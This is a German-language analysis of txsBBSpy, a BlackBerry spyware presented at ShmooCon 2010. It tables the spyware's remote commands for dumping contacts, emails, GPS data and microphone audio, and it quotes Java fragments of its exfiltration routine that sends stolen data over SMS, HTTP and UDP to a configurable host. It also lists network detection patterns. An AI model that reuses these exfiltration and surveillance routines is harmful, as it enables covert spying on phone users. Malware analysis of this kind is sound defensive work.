txsBBSpy - Spyware für BlackBerry: Eine Analyse

txsBBSpy - Spyware für BlackBerry

Eine Analyse

Marc Ruef
von Marc Ruef
Lesezeit: 13 Minuten

Tyler Shields des Unternehmens Veracode hielt an der ShmooCon 2010 einen Vortrag zur Sicherheit von BlackBerry-Geräten. Dabei diskutierte er in erster Linie die Möglichkeiten von mobiler Spyware:

While a number of “vendors” sell Blackberry spyware, until now only a limited number of public code examples exist. Real time capture of SMS messages, Emails, and phone call logs are a fraction of the features to be presented. Full source code to the spyware will also be released.

Seine Ausführungen illustrierte er mit einer eigens dafür angefertigten Backdoor namens txsBBSpy. Den Java-Quelltext dieser hat er noch gleichentags veröffentlicht. In diesem Beitrag soll die Funktionsweise der Hintertür sowie die Implementierung besprochen werden.

RIM BlackBerry Bold 9700

Grundlage

Bei txsBBSpy handelt es sich um eine Spyware, die als Backdoor eingebracht wird. Sie wird genutzt, um die Aktivitäten einer Person zu überwachen und einzusehen. Ist die Malware einmal installiert, kann sie über verschiedene Kanäle gesteuert werden. Bei dieser Steuerung lässt sich das Verhalten der Hintertür anpassen, Zugriffe auf Datenbestände sowie Datensammlungen durchführen. Damit wird im weitesten Sinn ein RAT (Remote Access Tool) für BlackBerry realisiert. Ähnliche Ansätze haben wir bei unseren Implementierungen für das Apple iPhone und für HTC mit Windows Mobile realisiert.

Die bereitgestellte Spyware ist primär in der Lage, sämtliche abgespeicherten Daten auslesen zu lassen. Dazu gehören die folgenden Kerndaten eines modernen Mobiltelefons:

Zusätzlich können aber auch aktuelle Aktivitäten in Echtzeit überwacht werden. Zu diesen gehören die folgenden Möglichkeiten moderner Mobiltelefone:

Damit wird eine umfassende Überwachung des Geräts sowie dessen Benutzers möglich. Weiterführende Möglichkeiten, wie zum Beispiel das Generieren neuer Adressbucheinträge oder das Verschicken von Emails/SMS wäre ebenso denkbar. Damit liesse sich zum Beispiel ein Proxy oder ein Botnet aufbauen, mit dem sich aktuelle Geschäftsmodelle von Cyberkriminellen weiter vorantreiben lassen.

Fernsteuerung

Die Fernsteuerung erfolgt durch processCommand(String cmd), wobei das Argument cmd unterschiedliche Kommandos entgegennehmen in der Lage ist. Die untenstehende Tabelle illustriert die implementierten Mechanismen. Wird beispielsweise TXSPHLON übergeben, wird der Phone Listener aktiviert. Und mit TXSEXFILSMS wird die Datenextragierung mittels SMS realisiert.

Kommando ID Funktion Listener
TXSDIE 1 Beenden der Spyware
TXSPHLON 2 Aktivieren des Phone Listener
TXSPHLOFF 3 Deaktivieren des Phone Listener
TXSPIMON 4 Aktivieren des PIM Listener
TXSPIMOFF 5 Deaktivieren des PIM Listener
TXSSLINON 6 Aktivieren des SMS In Listener
TXSSLINOFF 7 Deaktivieren des SMS In Listener
TXSSLOUTON 8 Aktivieren des SMS Out Listener
TXSSLOUTOFF 9 Deaktivieren des SMS Out Listener
TXSGLON 10 Aktivieren des GPS Listener
TXSGLOFF 11 Deaktivieren des GPS Listener
Kommando ID Funktion Dateiversand
TXSEXFILSMS 21 Dateiversand als SMS
TXSEXFILSMSDG 22 Dateiversand als SMS Datagramm
TXSEXFILEMAIL 23 Dateiversand als Email
TXSEXFILGET 24 Dateiversand als HTTP GET
TXSEXFILPOST 25 Dateiversand als HTTP POST
TXSEXFILTCP 26 Dateiversand zu TCP-Socket
TXSEXFILUDP 27 Dateiversand zu UDP-Socket
Kommando ID Funktion Datensammlung
TXSDUMPCON 31 Ausgeben aller Kontakte
TXSDUMPGPS 32 Ausgeben der aktuellen GPS-Koordinaten
TXSDUMPPL 33 Ausgeben aller Phone-Logs
TXSDUMPEMAIL 34 Ausgeben aller Emails
TXSDUMPMIC 36 Aufzeichnen der aktuellen Mikrofon-Eingabe
Kommando ID Funktion Kommunikation
TXSIP 41 Ändern der Ziel-IP-Adresse für UDP- und TCP-Transaktionen
TXSEM 42 Ändern der Ziel-Mailadresse für Email-Transaktionen
TXSPORT 43 Ändern des Zielports
TXSPHONE 44 Ändern der Ziel-Telefonnummer für SMS-Transaktionen
TXSURL 45 Ändern der URL für HTTP-Transaktionen
TXSHOST 46 Ändern des Ziel HOST für DNS-Transaktionen
TXSGTIME 47 Ändern des Aktualisierungszyklus für GPS-Tracking
TXSMTIME 48 Ändern der Dauer für Mikrofon-Aufnahmen
Kommando ID Funktion Ping
TXSPING 99 Auf Ping mit Pong antworten

Anhand der in c abgelegten ID werden sodann mit einem case-Konstrukt die jeweiligen Funktionen aufgerufen. Dies ist sehr modular und strukturiert gelöst. Zum Beispiel wird mittels folgendem Code der Phone Listener eingerichtet:

pl = new PhoneLogger();
Phone.addPhoneListener(pl);
break;

Ändern und Nutzen der Transaktionsmethode

Wird die Transaktionsmethode geändert, wird dies in this.method abgelegt, wobei hier acht unterschiedliche Werte von 1 bis 8 erwartet werden. Die nachfolgende Tabelle zeigt den Stand der gegenwärtigen Implementierung auf.

Method ID Case ID Methode
1 21 SMS
2 22 SMS Datagramm
3 23 Email
4 24 HTTP GET
5 25 HTTP POST
6 26 UDP
7 27 TCP
8 28 DNS

Hiermit wird eine umfassende und solide Implementierung bereitgestellt, die mit einem hohen Mass an Flexibilität aufwarten kann. So ist es möglich zwischen unterschiedlichen Kanälen zu wechseln, was spätestens dann erforderlich wird, wenn die Zielsystem mit zusätzlichen Mechanismen geschützt werden (z.B. Firewalling oder Hardening der Konfigurationen).

Die jeweiligen Transaktionsmethoden werden dann durch die Funktion exfiltrate(String msg) angesteuert. Diese entscheidet anhand der als msg übergebenen Argumente darüber, wie nun eine Datenübertragung stattfindet.

private void exfiltrate(String msg)
{
 if (msg.startsWith(“TXS_”) != true) // Make sure that we haven’t already exfiltrated this message
 {
  msg = “TXS_”+msg; // Prepend our send marker
  switch (this.method)
  {
  case 1: exfilSMS(msg); break;
  case 2: exfilSMS_dg(msg); break;
  case 3: exfilEmail(msg); break;
  case 4: exfilHTTP_GET(msg); break;
  case 5: exfilHTTP_POST(msg); break;
  case 6: exfilTCP(msg); break;
  case 7: exfilUDP(msg); break;
  case 8: exfilDNS(msg); break;
  } 
 }

return; }

Weiterführend sind dann Funktionen wie exfilSMS(msg) für das Übertragen der Daten per SMS oder exfilHTTP_GET(msg) für eine Transaktion per HTTP GET zuständig.

Eine Datenübertragung per SMS findet relativ simpel statt, indem durch den jeweiligen Connector das SMS mittels dem Scheme sms:// generiert wird:

(MessageConnection) Connector.open("sms://" + this.pnum + ":3590");

Erkennung und Entdeckung

Die Erkennung der Malware ist durch die üblichen Mittel möglich. Eine Antiviren-Lösung kann versuchen durch patternbasierte oder heuristische Methoden die offensichtlichen Codeteile als solche zu identifizieren.

Es gibt jedoch eine Vielzahl an Eigenarten, die die Hintertür spätestens bei deren Aktivitäten im Netzwerk erkennen lassen.

Aktivität Pattern Code
Datenübertragung per Email Mail-Betreff besteht aus Urgent Message m.setSubject("Urgent message");
Datenübertragung per HTTP GET URLs haben die Struktur http://<url>/<msg> c = (HttpConnection)Connector.open("http://"+this.url+"/"+msg);
Datenübertragung per HTTP POST User-Agent besteht aus BBSpyware|<msg> c.setRequestProperty("User-Agent", "BBSpyware|"+msg);
Datenübertragung per UDP Zielport ist standardmässig 4444 conn = (DatagramConnection)Connector.open("udp://"+this.ip+":"+ this.port+";4444");

Fazit

Man merkt txsBBSpy an, dass es durch jemanden programmiert wurde, der ein derartiges Produkt nicht zum ersten Mal entwickelt hat. Zu strukturiert und zu modular ist die gegebene Implementierung, deren Sourcecode sich sehr einfach und angenehm lesen lässt.

Und so spürt man dann auch heraus, dass die Entwicklung weit über einen simplen Proof-of-Concept hinaus geht. Tyler steckt ein gewisses Mass an Leidenschaft in seine Lösung, die sich durchaus produktiv einsetzen lässt. Die gegebene Flexibilität ist nicht zu unterschätzen und eine Nutzung deshalb zusätzlich auch noch komfortabel.

Nur in einigen wenigen Punkten findet sich Verbesserungspotential. So gibt es einen kleinen Fehler, der es verunmöglicht, dass eine Datenübertragung mittels DNS stattfinden kann. Und so macht es auch an anderer Stelle den Anschein, dass der veröffentlichte Code nicht ganz dem entspricht, was hinter verschlossenen Türen entwickelt wurde. Es schien, als sei so manches Feature kurzfristig vor dem Release entfernt worden, was durch den Entwickler in einem Comment bestätigt wurde:

Great catch ;) There is indeed a removed feature in that location of the code. Consider it a preview of additional things to be released at Source Boston conference in April.

Dennoch zeigt das Produkt auf, dass auch auf BlackBerry-Plattformen mit Risiken durch Malware zu rechnen ist. Da die Geräte bzw. die darauf installierte Software zudem vermehrt Schwachstellen aufweisen (z.B. wie zuletzt im PDF-Viewer), ist durchaus mit einem Potential für Kompromittierungen zu rechnen. Erste breitflächige Infektionen sind jedoch in den letzten Monaten schon zu verzeichnen gewesen. Dies ist nicht verwunderlich, weist das Unternehmen comScore die Verbreitung von BlackBerry mit 41.6% noch Ende 2009 als die grösste in den USA aus.

Anbieter September 2009 Dezember 2009 Veränderung
RIM 42.6% 41.6% -1.0%
Apple 24.1% 25.3% +1.2%
Microsoft 19.0% 18.0% -1.0%
Palm 8.3% 6.1% -2.2%
Google 2.5% 5.2% +2.7%

Über den Autor

Marc Ruef

Marc Ruef ist seit Ende der 1990er Jahre im Cybersecurity-Bereich aktiv. Er hat vor allem im deutschsprachigen Raum aufgrund der Vielzahl durch ihn veröffentlichten Fachpublikationen und Bücher – dazu gehört besonders Die Kunst des Penetration Testing – Bekanntheit erlangt. Er ist Dozent an verschiedenen Fakultäten, darunter ETH, HWZ, HSLU und IKF. (ORCID 0000-0002-1328-6357)

Links

Sie wollen die Sicherheit Ihrer Firewall prüfen?

Unsere Spezialisten kontaktieren Sie gern!

×
Konkrete Kritik an CVSS4

Konkrete Kritik an CVSS4

Marc Ruef

scip Cybersecurity Forecast

scip Cybersecurity Forecast

Marc Ruef

Voice Authentisierung

Voice Authentisierung

Marc Ruef

Bug-Bounty

Bug-Bounty

Marc Ruef

Sie wollen mehr?

Weitere Artikel im Archiv

Sie brauchen Unterstützung bei einem solchen Projekt?

Unsere Spezialisten kontaktieren Sie gern!

Sie wollen mehr?

Weitere Artikel im Archiv